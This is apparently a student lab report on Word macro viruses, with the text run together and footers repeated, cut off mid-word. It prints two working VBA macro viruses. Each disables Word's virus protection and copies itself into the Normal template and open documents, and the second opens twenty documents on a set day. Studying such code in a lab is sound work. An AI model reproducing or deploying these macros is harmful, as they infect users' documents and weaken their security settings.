宏病毒实验报告

宏病毒实验报告--可修编.宏病毒实验报告7邹文敏实验目的通过运行计算机代码，更加深刻的理解计算机代码。对计算机代码有一个初步的认识。加深对宏病毒的感性认识，宏病毒是感染数据文件word,office等。实验容运行自我复制，感染word公用模板和当前文档；具有一定破坏性的宏；清除宏病毒。实验步骤实验一：将word文档中的开发者工具打开；word中心→信任选项→宏设计将信任选项打开运行第一个实验VisualBasic→normal→Microsoft→thedocumentProject→microsoftword对象→thedocument复制如下代码：'APMP宏病毒实验报告全文共7页，当前为第1页。PrivateSubDocument_Open()宏病毒实验报告全文共7页，当前为第1页。OnErrorResumeNextApplication.DisplayStatusBar=FalseOptions.VirusProtection=FalseOptions.SaveNormalPrompt=False'以上都是基本的自我隐藏措施MyCode=ThisDocument.VBProject.VBponents(1).CodeModule.Lines(1,20)SetHost=NormalTemplate.VBProject.VBponents(1).CodeModuleIfThisDocument=NormalTemplateThen_SetHost=ActiveDocument.VBProject.VBponents(1).CodeModuleWithHostIf.Lines(1,1)<>"'APMP"Then'判断感染标志.DeleteLines1,.CountOfLines'删除目标文件所有代码.InsertLines1,MyCode'向目标文档写入病毒代码IfThisDocument=NormalTemplateThen_ActiveDocument.SaveAsActiveDocument.FullNameEndIfEndWithMsgBox"Basicclassmacrobyjackie",vbOKOnly,"APMP"EndSub保存时注意保存为宏文件宏病毒实验报告全文共7页，当前为第2页。宏病毒实验报告全文共7页，当前为第2页。实验一运行截图：清除实验一中的容只需要删除，thedocument中的容在保存即可。实验二：宏病毒实验报告全文共7页，当前为第3页。宏病毒实验报告全文共7页，当前为第3页。编写代码的位置同上；代码如下：'moonlightDimnm(4)SubDocument_Open()'DisableInput1Setourcodemodule=ThisDocument.VBProject.VBponents(1).CodeModuleSethost=NormalTemplate.VBProject.VBponents(1).CodeModuleIfThisDocument=NormalTemplateThenSethost=ActiveDocument.VBProject.VBponents(1).CodeModuleEndIfWithhostIf.Lines(1,1)<>"'moonlight"Then.DeleteLines1,.CountOfLines.InsertLines1,ourcodemodule.Lines(1,100).ReplaceLine3,"SubDocument_Close()"IfThisDocument=NormalTemplateThen.ReplaceLine3,"SubDocument_Open()"ActiveDocument.SaveAsActiveDocument.FullNameEndIfEndIfEndWithCount=0IfDay(Now())=25Thentry:OnErrorGoTotrytest=-1con=1tog$=""i=0Whiletest=-1Fori=0To4nm(i)=Int(Rnd()*10)con=con*nm(i)Ifi=4Thentog$=tog$+Str$(nm(4))+"=?"宏病毒实验报告全文共7页，当前为第4页。GoTobeg宏病毒实验报告全文共7页，当前为第4页。EndIftog$=tog$+Str$(nm(i))+"*"Nextibeg:Beepans$=InputBox$("今天是"+Date$+",跟你玩一个心算游戏"+Chr$(13)+"若你答错，只好接受震撼教育......"+Chr$(13)+tog$,"NO.1MacroVirus")IfRTrim$(LTrim$(ans$))=LTrim$(Str$(con))ThenDocuments.AddSelection.Paragraphs.Alignment=wdAlignParagraphCenterBeepWithSelection.Font.Name="细明体".Size=16.Bold=1.Underline=1EndWithSelection.InsertAfterText:="何谓宏病毒"Selection.InsertParagraphAfterBeepSelection.InsertAfterText:="答案："Selection.Font.Italic=1Selection.InsertAfterText:="我就是......"Selection.InsertParagraphAfterSelection.InsertParagraphAfterSelection.Font.Italic=0BeepSelection.InsertAfterText:="如何预防宏病毒"Selection.InsertParagraphAfterBeepSelection.InsertAfterText:="答案："Selection.Font.Italic=1Selection.InsertAfterText:="不要看我......"GoTooutElseCount=Count+1Forj=1To20BeepDocuments.AddNextjSelection.Paragraphs.Alignment=wdAlignParagraphCenterSelection.InsertAfterText:="宏病毒"IfCount=2ThenGoToout宏病毒实验报告全文共7页，当前为第5页。GoTotry宏病毒实验报告全文共7页，当前为第5页。EndIfWendEndIfout:EndSub运行截图：运行错误时：宏病毒实验报告全文共7页，当前为第6页。运行错误时：宏病毒实验报告全